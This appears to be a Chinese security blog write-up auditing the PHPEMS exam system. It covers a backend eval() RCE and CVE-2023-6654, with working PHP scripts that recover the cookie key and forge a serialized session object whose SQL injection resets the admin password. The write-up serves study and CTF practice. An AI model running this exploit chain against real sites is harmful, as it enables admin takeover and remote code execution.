代码审计初探

学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计
先从一些小众的、已知存在漏洞的cms入手

phpems php的一款开源考试系统
源码下载
https://down.chinaz.com/soft/34597.htm

环境部署

windows审计,把相关文件放到phpstudy的web目录下
给了一个sql文件,mysql创建一个数据库,在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化,运行所给sql文件,然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕
在这里插入图片描述

访问首页,正常显示就是ok(上面的输出是我自己在源码中加的)
在这里插入图片描述

正常调用

如果是做题的话,其实可以直接跳过这步,直接seay扫一下,看看可疑的地方,现在是练习,所以我可以捋一下正常的代码调用流程
以在前台查看内容为例
在这里插入图片描述

首先肯定要看web目录下的index.php
![[代码审计学习-4.png]]
包含了/lib/init.cls.php,lib目录下有很多实现功能的基本类, \PHPEMS\ginko 这个类就在这个php文件里,是这个框架的核心控制器,\PHPEMS是命名空间,
看看这个类的run方法

public function run()  
    {          
       //static public $defaultApp = 'core';
        self::$app = self::$defaultApp;  
        $ev = self::make('ev');  
        if($ev->url(0))  
        {  
            self::$app = $ev->url(0);  
        }  
        self::$module = $ev->url(1);  
        self::$method = $ev->url(2);  
        //要包含的文件,不指定默认先在/app/index里找  
       if(!self::$module)self::$module = 'app';  
       if(!self::$method)self::$method = 'index';  
       include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php';  
         
       $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php';  
        echo "<br>";  
        echo "要包含的module文件:".$modulefile;  
        //  
       if(file_exists($modulefile))  
       {          
          include $modulefile;           
          $tpl = self::make('tpl');  
            //给tpl对象的$tpl_var数组属性赋值  
          $tpl->assign('_app',self::$app);  
          $tpl->assign('method',self::$method);  
          $run = new action();  
//            var_dump($run);  
          $run->display();  
       }  
       else die('error:Unknown app to load, the app is '.self::$app);  
    }

defaultapp就是字符串core,调用了make('ev'),看看在干嘛
![[代码审计学习-5.png]]
$app若有设置,则调用load方法,加载配置文件,

//加载对象类文件并生成对象  
   /**  
    * @param $G  
    * @param null $app  
    * @return static  
    */   static public function load($G,$app)  
{  
    if(!$app)return false;  
    $o = $G.'_'.$app;  
    //$L是空数组,第一次加载后就放入做为缓存,下次调用就直接从这里取,不用再去包含对应文件
    if(!isset(self::$L[$app][$o]))  
    {  
       $fl = PEPATH.'/app/'.$app.'/cls/'.$G.'.cls.php';  
       if(file_exists($fl))  
       {  
          include $fl;  
       }  
       else return false;  
           $clsname = '\\PHPEMS\\'.$o;  
           self::$L[$app][$o] = new $clsname();  
       if(method_exists(self::$L[$app][$o],'_init'))self::$L[$app][$o]->_init();  
    }  
    return self::$L[$app][$o];  
}

审计一下可知,会先检查一下缓存数组是否有了对应的类,如有直接返回,没有的话,就会去包含对应的php文件,然后实例化对应的类,有__init方法就执行次方法
然后再回到make方法,看else分支,是不是跟load很像,
所以这里的逻辑就是如果指定了app,就包含对应的app的目录,没有就去包含lib下的比较基本的类
文件目录
![[代码审计学习-6.png]]
再回到run方法,调用了make('ev')->url(0),url在这个类的构造方法中设置了

public function __construct()  
   {  
    $this->strings = \PHPEMS\ginkgo::make('strings');  
    if (ini_get('magic_quotes_gpc')) {  
       $get    = $this->stripSlashes($_REQUEST);  
       $post   = $this->stripSlashes($_POST);  
       $this->cookie = $this->stripSlashes($_COOKIE);  
    } else {  
       $get    = $_REQUEST;  
       $post   = $_POST;  
       $this->cookie = $_COOKIE;  
    }  
  
    $this->file = $_FILES;  
    $this->get = $this->initData($get);  
    $this->post = $this->initData($post);  
    $this->url = $this->parseUrl();  
    $this->cookie = $this->initData($this->cookie);  
   }

可以看到,这个ev类就是用来接受并预处理服务器接受到的全局变量,跟进parseUrl方法

public function parseUrl()  
{  
    if(isset($_REQUEST['route']))  
    {  
       $r = explode('-',$_REQUEST['route']);  
       foreach($r as $key => $p)  
       {  
          $r[$key] = urlencode($p);  
       }  
    }  
    elseif(isset($_SERVER['QUERY_STRING']))  
    {  
       $tmp = explode('#',$_SERVER['QUERY_STRING'],2);  
       $tp = explode('&',$tmp[0],2);  
       $r = explode('-',$tp[0]);  
       foreach($r as $key => $p)  
       {  
          $r[$key] = urlencode($p);  
       }  
    }  
  
    else {  
       return false;  
    }  
       if(!$r[0] || !file_exists('app/'.$r[0].'/'))  
       {  
           $r[0] = \PHPEMS\ginkgo::$defaultApp;  
       }  
    if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto')  
    {  
       $r[1] = 'app';  
    }  
    if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php'))  
    {  
       $r[2] = 'index';  
    }  
       if($r[1] == 'app' && $this->isMobile())  
    {  
           $r[1] = 'phone';  
    }  
    if(!$r[3])$r[3] = 'index';  
    if(substr($r[3],0,1) == '_')$r[3] = 'index';  
    echo "url解析结果:"."<br>";  
    var_dump($r);  
    echo "\n";  
       return $r;  
}

非常长,前面首页显示的改动就在这里
可以看到这是对$_REQUEST$_SERVER['QUERY_STRING']的处理,前者是包含了get、post、cookie传的变量,后者是url中中的?后面的部分
对查询参数用# & -来分割(explode方法),我只访问了?content,因此得到的三个数组都是只有一个元素content
后面三个file_exist是判断有没有对应的模块,没有则设置成默认的,这里$r只有一个元素content,因此$r[1] $r[2] $r[3] 都被设置成了默认的选项
再回到run方法,这里就可以包含到对应的文件了
在这里插入图片描述

包含了之后,实例化tpl这类,这个类就是用来渲染前端的页面的
在这里插入图片描述

所以这个要加载什么类,是通过对查询参数的分割来确定的,然后用tpl渲染对应的前端

漏洞代码

后台rce

后台存在rce的漏洞,seay很快就扫到漏洞点

public function _init()  
{  
    $this->sql = \PHPEMS\ginkgo::make('sql');  
    $this->pdosql = \PHPEMS\ginkgo::make('pdosql');  
    $this->db = \PHPEMS\ginkgo::make('pepdo');  
    $this->tpl = \PHPEMS\ginkgo::make('tpl');  
    $this->pg = \PHPEMS\ginkgo::make('pg');  
    $this->ev = \PHPEMS\ginkgo::make('ev');  
    $this->files = \PHPEMS\ginkgo::make('files');  
    $this->category = \PHPEMS\ginkgo::make('category');  
    $this->content = \PHPEMS\ginkgo::make('content','content');  
    //block
    $this->block = \PHPEMS\ginkgo::make('block','content');  
    $this->tpl_var = &$this->tpl->tpl_var;  
}

public function parseBlock($blockid)  
    {  
       $block = $this->block->getBlockById($blockid);  
       if($block['blocktype'] == 1)  
       {  
          echo html_entity_decode($block['blockcontent']['content']);  
       }  
       elseif($block['blocktype'] == 2)  
       {  
          if($block['blockcontent']['app'] == 'content')  
          {  
             $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  
             $blockdata = $this->_getBlockContentList($args);  
             $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  
             $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']);  
             $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid'])));  
             eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
          }  
          else  
          {  
             $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  
             $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']);  
             if(method_exists($obj,'parseBlock'))  
             $blockdata = $obj->parseBlock($args);  
             else  
             return false;  
          }  
          return true;  
       }  
       elseif($block['blocktype'] == 3)  
       {  
          if($block['blockcontent']['sql'])  
          {  
             $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql']));  
          }  
          else  
          {  
             $tables = array_filter(explode(',',$block['blockcontent']['dbtable']));  
             $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query'])))));  
             $args = array();  
             foreach($querys as $p)  
             {  
                $a = explode('|',$p);  
                if($a[3])  
                {  
                   if($a[3][0] == '$')  
                   {  
                      $s = stripos($a[3],'[');  
                      $k = substr($a[3],1,$s-1);  
                      $v = substr($a[3],$s,(strlen($a[3]) - $s));  
                      $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";";  
                   }  
                   else  
                   {  
                      $k = substr($a[3],2,(strlen($a[3]) - 2));  
                      $execode = "\$a[3] = \"{\$$k}\";";  
                   }  
                   eval($execode);  
                }  
                $args[] = $a;  
             }  
  
             $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']);  
             $sql = $this->pdosql->makeSelect($data);  
          }  
          $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false);  
          $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  
          eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
          return true;  
       }  
       elseif($block['blocktype'] == 4)  
       {  
          $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));  
          eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
       }  
       else  
       return false;  
    }  
}

parseBlock这个函数,当blocktype为2 3 4时,都有存在eval来执行$tp,先找$tp是如何获取的,这里以4为例子分析(偷懒),其他的原理也都差不多,有兴趣的可以自己去分析
前面也提到ev是处理全局变量的,定位stripSlashes方法
在这里插入图片描述

注释中提到了,这个方法用来去除转义字符\,而html_entity_decode是php内置函数把 HTML 实体转换为字符
传入的数据是$block['blockcontent']['content'],block是$this->block->getBlockById获取的,block是make('block','content')加载的类
来看看这个make方法
在这里插入图片描述

这一次指定了app,所以会调用load方法,看一下
在这里插入图片描述

跟上面的正常调用差不多,包含对应的文件,然后生成这个类,这里$o=block_content,包含了/app/content/cls/block.cls.php,block_content类应该也在这里了,去看看
确实在这里,同时发现了getBlockById方法
在这里插入图片描述

可以看出,blockcotent是从数据库中取出的,在数据库中也有个x2_block表
在这里插入图片描述

blockcontent一看就是序列化的内容,在$this->db->fetch中,也有反序列化的操作

public function fetch($sql,$unserialize = false)  
  {  
    if(!is_array($sql))return false;  
    if(!$this->linkid)$this->connect();  
    $query = $this->linkid->prepare($sql['sql']);  
    $rs = $query->execute($sql['v']);  
    $this->_log($sql,$query);  
    if ($rs) {  
    $query->setFetchMode(\PDO::FETCH_ASSOC);  
    $tmp = $query->fetch();  
    if($tmp)  
    {  
        if($unserialize)  
       {  
          if(is_array($unserialize))  
          {  
             foreach($unserialize as $value)  
             {  
                $tmp[$value] = unserialize($tmp[$value]);  
             }  
          }  
          else $tmp[$unserialize] = unserialize($tmp[$unserialize]);  
       }  
    }  
    return $tmp;  
}  
else  
return false;  
  }

makeselect就是构造查询的sql语句,有兴趣的可以自己去跟一下
所以这个$tp的内容就是从数据库中取出的,用id参数查询
再来看,这个在parseBlock在哪调用, /lib/tpl.cls.php中(管理渲染前端的自定义基本类),

public function exeBlock($id)  
{  
    \PHPEMS\ginkgo::make('api','content')->parseBlock($id);  
}

找exeBlock,在渲染前端注册的页面中调用了,
在这里插入图片描述

但是这里传入的id是1,由上面的代码可知,1只是echo输出,2,3,4才有eval
很巧的是,/app/content那里翻了一下,在/controller/block.master.php中,有个change方法可以改id

private function change()  
{  
    $blockid = $this->ev->get('blockid');  
    $blocktype = $this->ev->get('blocktype');  
    $this->block->modifyBlock($blockid,array('blocktype' => $blocktype));  
    $message = array(  
       'statusCode' => 200,  
       "message" => "操作成功",  
        "target" => "",  
        "rel" => "",  
        "callbackType" => "forward",  
        "forwardUrl" => "index.php?content-master-blocks&page={$page}"  
    );  
    exit(json_encode($message));  
}

在这个系统,跟master相关就是后台管理相关的功能了,
在后台的内容管理找到了这个功能
在这里插入图片描述

这里改成最下面的模板模式,blockid为4,就会走到上面分析的流程,然后点击修改,插入php代码即可
![[代码审计学习-17.png]]
有个小细节,就是 那个eval中,除了$tp后面还加上了个<?php namespace PHPEMS;,那我们构造的php代码中也要在开头声明一个namespace,
php规范中,如果有namespace声明,必须在开头就有一个,否在会报错
在这里插入图片描述

然后保存,去前台注册就发现命令执行成功
在这里插入图片描述

其实这个rce漏洞要后台才能触发,危害也不是很大,毕竟这个后台还有个增加文件上传后缀的功能,增加个php,直接传shell都行
毕竟正常情况后台都不好进
但是上网搜索过这个框架后,发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654),就可以直接进后台,这就扩大了危害,
西湖论剑2024也考了这个cve,接下来就分析分析

前台修改管理员密码

触发反序列化

前面我在看正常调用时就发现cookie鉴权这里有反序列化点的,还想找pop链rce来着,但失败了,没想到可以打sql注入
用于会话管理、鉴权的是session类,php文件是/lib/session.cls.php,在构造方法中就调用了getSessionId,其他模块的构造方法中都会实例化这个类
所以getSessionId是很容易触发的
在这里插入图片描述

public function getSessionId()  
{  
    if(!$this->sessionid)  
    {  
        $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));  
        if($cookie)  
        {  
            $this->sessionid = $cookie['sessionid'];  
        }  
    }  
    if(!$this->sessionid)  
    {  
        $this->_getOnlySessionid();  
        $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  
    }  
    if(!$this->getSessionValue())  
    {  
        $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  
    }  
    return $this->sessionid;  
}

getSessionId这里对cookie中获取的信息,进行解密,然后反序列化
因此cookie中存储的是序列化后的数据

public function decode($info)  
{  
    $key = CS;  
    $info = urldecode($info);  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])-ord($key[$p]));  
    }  
    $info = unserialize($info);  
    return $info;  
}

反序列化很容易触发,现在要来看怎么造成sql注入

sql注入

全局搜索__destruct
在session类中

public function __destruct()  
{  
    $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  
    $sql = $this->pdosql->makeUpdate($data);  
    $this->db->exec($sql);  
    if(rand(0,5) > 4)  
    {  
       $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3)))));  
    $sql = $this->pdosql->makeDelete($data);  
    $this->db->exec($sql);  
    }  
}

这里会makeupdate,顾名思义构造一个update的sql语句,然后exec中,跟进makeupdate看看

public function makeUpdate($args,$tablepre = NULL)  
{  
    if(!is_array($args))return false;  
    if($tablepre === NULL)$tb_pre = $this->tablepre;  
    else $tb_pre = $tablepre;  
    $tables = $args[0];  
    $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);  
    if(is_array($tables))  
    {  
       $db_tables = array();  
       foreach($tables as $p)  
       {  
          $db_tables[] = "{$tb_pre}{$p} AS $p";  
       }  
       $db_tables = implode(',',$db_tables);  
    }  
    else  
    $db_tables = $tb_pre.$tables;  
    $v = array();  
  
    $pars = $args[1];  
    if(!is_array($pars))return false;  
    $parsql = array();  
    foreach($pars as $key => $value)  
    {  
       $parsql[] = $key.' = '.':'.$key;  
       if(is_array($value))$value = serialize($value);  
       $v[$key] = $value;  
    }  
    $parsql = implode(',',$parsql);  
  
    $query = $args[2];  
    if(!is_array($query))$db_query = 1;  
    else  
    {  
       $q = array();  
       foreach($query as $p)  
       {  
          $q[] = $p[0].' '.$p[1].' ';  
          if(isset($p[2]))  
          $v[$p[2]] = $p[3];  
       }  
       $db_query = '1 '.implode(' ',$q);  
    }  
    if(isset($args[3]))  
    $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];  
    else  
    $db_groups = '';  
    if(isset($args[4]))  
    $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];  
    else  
    $db_orders = '';  
    if(isset($args[5]))  
    $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];  
    else  
    $db_limits = '';  
    if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits;  
    $db_groups = $db_groups?' GROUP BY '.$db_groups:'';  
    $db_orders = $db_orders?' ORDER BY '.$db_orders:'';  
    $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;  
    return array('sql' => $sql, 'v' => $v);  
}

前面的一长串的构造参数的过程,最后拼接到$sql这查询语句中,看到直接拼接难道直接有sql注入?其实并没有。上面传进去的参数中

$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  

参数使用了sessionid = :sessionid,这在pdosql中就是预编译的写法,那咋还能注入呢?
非常的巧妙,大佬们找到了其他注入的地方,
在构造表名$db_tables和类的属性$this->tablepre直接进行了拼接,这里并没有预编译,如果我们能控制反序列化的过程,那不就可以设置这个属性吗,直接设置为

x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--

拼接进去就是

update x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--(其他参数)

这不就把管理员密码改了吗,
本地搭建项目,就可知这个框架的密码加密就是md5,因此这里设置为123456的md5就行
但是前面也提到了,这个cookie是加密的,反序列化前要经过一次解密操作,我们要把这个加密的逻辑搞清楚才行

逆向cookie加密的key

在/lib/string.cls.php中,查看encode和decode代码

public function encode($info)  
{  
    $info = serialize($info);  
    $key = CS;  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])+ord($key[$p]));  
    }  
    return urlencode($info);  
}  
  
public function decode($info)  
{  
    $key = CS;  
    $info = urldecode($info);  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])-ord($key[$p]));  
    }  
    $info = unserialize($info);  
    return $info;  
}

可以看到,加密的逻辑很简单,循环加上key的ascii码再用chr取字符,然后url编码,解密就是循环减,这key的定义在配置文件config.inc.php中
在这里插入图片描述

这里也提示了,要生成32位的字符串来替换key,如果能找到已知的连续32位的密文,再减去对应位置的32位明文,key不就出了么
因此要寻找cookie里我们可以控制的变量,从而控制某一部分32位的明文
先要用本地的key解密一下cookie看看,序列化数据结构是什么样,(这个cookie是未登录的cookie)
在这里插入图片描述

这里二次url编码的,所以解密时还要再url解码一次

<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
 function encode($info)
{
    $info = serialize($info);
    $key = CS;
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode($info);
}

 function decode($info)
{
    $key = CS;
    $info = urldecode($info);
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])-ord($key[$p]));
    }
//    $info = unserialize($info);
    return $info;
}
$cookie="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE";
 echo decode(urldecode($cookie));
//a:8:a:3:{s:9:"sessionid";s:32:"658ebc1de0ff6c335c639a99f70e31fe";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1739930349;}

可以看到没登陆的cookie数据设置,有sessionid sessionip sessiontimelimit 三个字段,审计一下session类,发现只有第二个sessionip是可以控制伪造的
sessionid 是一堆参数(还包含了随机数)的md5
在这里插入图片描述

sessiontimelimit是时间戳,TIME在config.inc.php中定义为time()
在这里插入图片描述

sessionip
在这里插入图片描述

跟进这个方法

public function getClientIp()  
{  
    if(!isset($this->e['ip']))  
    {  
       if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))  
          $ip = getenv("HTTP_CLIENT_IP");  
       else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))  
          $ip = getenv("HTTP_X_FORWARDED_FOR");  
       else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))  
          $ip = getenv("REMOTE_ADDR");  
       else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))  
          $ip = $_SERVER['REMOTE_ADDR'];  
       else  
          $ip = "unknown";  
       $this->e['ip'] = $ip;  
    }  
    return $this->e['ip'];  
}

REMOTE_ADDR是伪造不了的,但是它先检测HTTP_CLIENT_IP,以HTTP开头都是可以伪造的,在http报文中加入相应的键值对即可,比如HTTP_CLIENT_IP就构造CLIENT-IP,可以本地试试,在decode那里加上 echo $info
在这里插入图片描述

伪造成功,所以可以通过部分的已知明文来推key,选取序列化中表示sessionip的部分(32位)
由于前后的数据部分长度都是固定的,所以可以通过下标来动态截取满足32位的长度

<?php  
function reverse($payload1,$payload2)  
{  
    $il = strlen($payload1);  
    $key= "";  
    $kl = 32;  
    for($i = 0; $i <$kl; $i++)  
    {  
        $p = $i%$kl;  
        $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  
    }  
    return $key;  
}  
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=':"sessionip";s:15:"192.168.184.1';  
//
$info = substr($info,64,32);  
echo reverse($info,$know);

成功把本地的key推了出来
在这里插入图片描述

把这个框架放到我虚拟机上,改一下key,看能不能推出来,部署过程跟上面一致,也是访问首页拿没登陆的cookie
然后用脚本推key

<?php  
function reverse($payload1,$payload2)  
{  
    $il = strlen($payload1);  
    $key= "";  
    $kl = 32;  
    for($i = 0; $i <$kl; $i++)  
    {  
        $p = $i%$kl;  
        $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  
    }  
    return $key;  
}  
//利用伪造的ip,来构造已知的明文
function  get_know($ip='127.0.0.1')  
{  
    $pre=':"sessionip";s:';  
    $end='";s:16:"sessiontimelimit";i:';  
    $pre=$pre.strlen($ip).':"'.$ip;  
    if(strlen($pre)>32)  
    {  
        return substr($pre,0,32);  
    }  
    if (strlen($pre)<32) {  
        $target = $pre . substr($end, 0, 32 - strlen($pre));  
        return $target;  
    }  
    return $pre;  
  
}  
  
$info="%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=get_know();  
截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定,所以可以直接通过下标截取)  
$info = substr($info,64,32);  
echo reverse($info,$know);

在这里插入图片描述

在这里插入图片描述

也是逆出来了

构造恶意序列化数据

然后利用这个key,去构造恶意的序列化数据,看看有什么属性要设置,确保反序列化过程可以走通就行

<?php
namespace PHPEMS;

class session
{
   public function __construct()
   {
       $this->sessionid='1';
       $this->pdosql=new pdosql();
       $this->db=new pepdo();
   }
}

class pdosql
{

    public function __construct()
    {
        $this->tablepre='x2_user set userpassword="202cb962ac59075b964b07152d234b70" where username="peadmin";#--';
        $this->db=new pepdo();
    }

}

class pepdo
{
    private $linkid=0;
}
function encode($info)
{
    $info = serialize($info);
    $key = '8ce8f78042de11afa3249191c6d8b60d';
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode(urlencode($info));
}
$a=new session();
$exp=array("sessionid"=>"123123",$a);
echo "\n";
echo encode(($exp));

管理员密码修改成功
在这里插入图片描述

就可以进后台rce了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/975002.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

记录Qt 虚拟键盘样式修改与使用

文章目录 概述 一、使用虚拟键盘 二、项目文件定义 1.VirtualKeyboard.qml 2.main.qml 3.main.cpp 三、编译运行 1.编译 2.运行 3.运行效果 总结 概述 在 Qt 开发中&#xff0c;虚拟键盘是移动设备和嵌入式设备中常用的输入工具。本文将详细介绍如何通过 QML 修改虚拟键盘样式…

国产开源PDF解析工具MinerU

前言 PDF的数据解析是一件较困难的事情&#xff0c;几乎所有商家都把PDF转WORD功能做成付费产品。 PDF是基于PostScript子集渲染的&#xff0c;PostScript是一门图灵完备的语言。而WORD需要的渲染&#xff0c;本质上是PDF能力的子集。大模型领域&#xff0c;我们的目标文件格…

基于单片机的智能电表设计(论文+源码)

2.1 系统整体方案设计 本课题为基于单片机的电子式单项智能电表&#xff0c;在此设计如图2.1所示的系统总体架构&#xff0c;其采用STM32单片机作为主控制器&#xff0c;搭配外设HLW8032模块实现对电压&#xff0c;电流&#xff0c;功率因数&#xff0c;电能消耗等参数进行检…

Kafka在Windows系统使用delete命令删除Topic时出现的问题

在使用Windows的Kafka时&#xff0c;想要删除某一个主题&#xff0c;发现使用了delete之后会一直报警告。下面是我发现错误之后重新实测的Bug 先创建2个topic kafka-topics.bat --bootstrap-server localhost:9092 --topic test1 --createkafka-topics.bat --bootstrap-serve…

【部署优化篇十三】深度解析《DeepSeek API网关:Kong+Nginx配置指南》——从原理到实战的超详细手册

一、为什么需要API网关?从单体服务到微服务的必然选择 1.1 单体服务的痛点 想象一下早期的淘宝——所有功能(用户中心、商品管理、订单系统)都打包在一个巨型服务里。这样的架构存在三大致命问题: 单点故障:一旦服务崩溃,整个系统瘫痪扩展困难:每次发布都需要全量部署…

在一个集成的 SynMatrix-Ansys 设计工作流程中实现 3D 滤波器仿真

Synmatrix Technologies Inc.是Ansys 的技术合作伙伴&#xff0c;通过一体化 RF 滤波器设计和测试调整软件平台提供解决方案&#xff0c;该平台可与 Ansys HFSS 3D 高频电磁 (EM) 仿真软件配对&#xff0c;以减少开发时间、材料和运营成本、设计风险和产品故障。 典型的射频/微…

仿uni-segmented-control添加左右滑动效果

官网的选项卡没有左右滑动的效果&#xff0c;本身的样式也不太好看&#xff0c;所以封装了个简易的组件达到相同的效果&#xff0c;可自行修改css部分修改样式~ 封装组件效果如下 custom-segmented-control.vue <template><view class"container"><v…

LeetCode51

LeetCode51 目录 题目描述示例思路分析代码段代码逐行讲解复杂度分析总结的知识点整合总结 题目描述 N 皇后问题&#xff1a;将 n 个皇后放置在 n x n 的棋盘上&#xff0c;使得皇后彼此之间不能相互攻击&#xff08;即任何两个皇后不能在同一行、同一列或同一斜线上&#x…

Lineageos 22.1(Android 15)Launcer简单调整初始化配置

一、前言 Launcer的初始化配置主要在如下的xml文件夹下&#xff0c;默认读取的5x5 这里我们把device_profiles调整一下&#xff0c;然后新建一个default_workspace_my.xml作为我们自己的配置就行。 二、配置 注意Lineageos 的Launcer是在lineageos/packages/apps/Trebuchet…

2025.2.23机器学习笔记:PINN文献阅读

2025.2.23周报 一、文献阅读题目信息摘要Abstract创新点网络架构架构A架构B架构C 实验结论后续展望 一、文献阅读 题目信息 题目&#xff1a; Physics-Informed Neural Networks for Modeling Water Flows in a River Channel期刊&#xff1a; IEEE TRANSACTIONS ON ARTIFICI…

BGP配置华为——路径优选验证

实验拓扑 实验要求 实现通过修改AS-Path属性来影响路径选择实现通过修改Local_Preference属性来影响路径选择实现通过修改MED属性来影响路径选择实现通过修改preferred-value属性来影响路径选择 实验配置与效果 1.改名与IP配置 2.as300配置OSPF R3已经学到R2和R4的路由 3.…

蓝桥杯单片机基础部分——6、555定时器

